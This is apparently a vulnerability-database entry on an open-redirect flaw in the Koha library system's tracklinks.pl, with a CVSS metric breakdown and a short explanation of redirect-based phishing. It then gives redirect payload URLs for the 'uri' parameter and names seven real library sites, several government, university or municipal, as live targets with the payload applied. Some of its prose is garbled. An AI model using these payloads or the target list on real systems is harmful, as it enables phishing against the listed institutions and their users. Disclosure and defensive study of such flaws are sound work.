CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious websites. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. Web users often encounter redirection when they visit the Web site of a company whose name has been changed or which has been acquired by another company. Visiting unreal web page user's computer becomes affected by malware the task of which is to deceive the valid actor and steal his personal data. #################################################################### # Vulnerable File : ***************** /tracklinks.pl # Vulnerable Parameters : *********************** ?uri=// ?biblionumber=[ID-NUMBER]&uri=// # Open Redirection Exploit : ************************** /cgi-bin/koha/tracklinks.pl?uri=//[REDIRECT-ADDRESS-HERE].gov /cgi-bin/koha/tracklinks.pl?biblionumber=[ID-NUMBER]&uri=//[REDIRECT-ADDRESS-HERE].gov #################################################################### # Example Vulnerable Sites : ************************* [+] koha.devinim.com.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] imrenahmettuzunkutuphanesi.org/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] ekatalog.nevsehir.edu.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] katalogtarama.cekulvakfi.org.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] boratavkutuphane.kulturturizm.gov.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] koha.gidatarim.edu.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com [+] kutuphane.pendik.bel.tr/cgi-bin/koha/tracklinks.pl?uri=//cxsecurity.com #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################
